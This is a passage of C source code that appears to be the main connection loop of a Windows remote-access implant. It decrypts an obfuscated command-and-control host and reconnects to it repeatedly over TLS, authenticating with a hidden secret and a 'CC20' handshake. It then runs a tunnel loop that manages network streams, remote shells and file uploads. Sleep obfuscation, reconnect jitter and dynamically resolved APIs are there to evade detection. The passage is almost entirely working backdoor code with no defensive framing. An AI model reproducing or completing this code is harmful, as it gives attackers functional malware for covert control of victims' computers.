    decrypt_str(enc_c2_host, ENC_C2_HOST_LEN, c2_host);

    /* 10. Reconnect loop */
    while (1) {
        /* Sleep mode */
        if (g_sleep_seconds > 0) {
            DWORD ms = g_sleep_seconds * 1000;
            g_sleep_seconds = 0;
            obfuscated_sleep(ms);
        }

        struct sockaddr_in addr;
        g_tunnel = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (g_tunnel == INVALID_SOCKET) {
            obfuscated_sleep(RECONNECT_DELAY);
            continue;
        }

        addr.sin_family = AF_INET;
        addr.sin_port = htons(C2_PORT);
        inet_pton(AF_INET, c2_host, &addr.sin_addr);

        if (connect(g_tunnel, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
            closesocket(g_tunnel);
            obfuscated_sleep(RECONNECT_DELAY);
            continue;
        }

        /* TCP keepalive */
        {
            BOOL opt = TRUE;
            setsockopt(g_tunnel, SOL_SOCKET, SO_KEEPALIVE, (char*)&opt, sizeof(opt));
            struct { unsigned long onoff; unsigned long time; unsigned long interval; } alive;
            DWORD ret;
            alive.onoff = 1; alive.time = 30000; alive.interval = 10000;
            WSAIoctl(g_tunnel, 0x98000004, &alive, sizeof(alive), NULL, 0, &ret, NULL, NULL);
        }

        /* TLS handshake via Schannel */
        {
            char host[ENC_C2_HOST_LEN + 1];
            decrypt_str(enc_c2_host, ENC_C2_HOST_LEN, host);
            g_tls = tls_connect(g_tunnel, host);
            memset(host, 0, sizeof(host));
            if (!g_tls) {
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }
        }

        /* Challenge-response auth (over TLS) */
        {
            uint8_t challenge[32], response[32], auth_buf[64];
            char sec[ENC_SECRET_LEN + 1];
            decrypt_str(enc_secret, ENC_SECRET_LEN, sec);

            if (tls_recvall(g_tls, challenge, 32) != 0) {
                memset(sec, 0, sizeof(sec));
                tls_shutdown(g_tls); g_tls = NULL;
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }

            memcpy(auth_buf, sec, ENC_SECRET_LEN);
            /* Pad to 32 if secret < 32 */
            if (ENC_SECRET_LEN < 32) memset(auth_buf + ENC_SECRET_LEN, 0, 32 - ENC_SECRET_LEN);
            memcpy(auth_buf + 32, challenge, 32);
            sha256_hash(auth_buf, 64, response);
            memset(sec, 0, sizeof(sec));
            if (tls_sendall(g_tls, response, 32) != 0) {
                tls_shutdown(g_tls); g_tls = NULL;
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }
        }

        /* Encryption handshake: send "CC20", wait for "CC20" (over TLS) */
        if (tls_sendall(g_tls, (const uint8_t*)"CC20", 4) != 0) {
            tls_shutdown(g_tls); g_tls = NULL;
            closesocket(g_tunnel);
            obfuscated_sleep(RECONNECT_DELAY);
            continue;
        }
        {
            uint8_t confirm[4] = {0};
            if (tls_recvall(g_tls, confirm, 4) != 0 || memcmp(confirm, "CC20", 4) != 0) {
                tls_shutdown(g_tls); g_tls = NULL;
                closesocket(g_tunnel);
                obfuscated_sleep(RECONNECT_DELAY);
                continue;
            }
        }

        /* Reset crypto counters for new session */
        g_ctx.send_ctr = 0;
        g_ctx.recv_ctr = 0;

        /* Enter tunnel loop */
        tunnel_loop();

        /* Cleanup */
        if (g_tls) { tls_shutdown(g_tls); g_tls = NULL; }
        closesocket(g_tunnel);
        for (int i = 0; i < MAX_STREAMS; i++) {
            if (streams[i].active) { closesocket(streams[i].sock); streams[i].active = 0; }
        }
        for (int i = 0; i < MAX_SHELLS; i++) {
            if (g_shells[i].running || g_shells[i].hProcess) handle_shell_close(g_shells[i].sid);
        }
        for (int i = 0; i < MAX_UPLOADS; i++) {
            if (g_uploads[i].active) {
                CloseHandle(g_uploads[i].hFile);
                g_uploads[i].active = 0;
            }
        }

        /* Jitter on reconnect */
        DWORD tick = api.pGetTickCount ? api.pGetTickCount() : GetTickCount();
        DWORD jitter = RECONNECT_DELAY + (tick % RECONNECT_JITTER);
        obfuscated_sleep(jitter);
    }

    memset(c2_host, 0, sizeof(c2_host));
    WSACleanup();
    return 0;
}
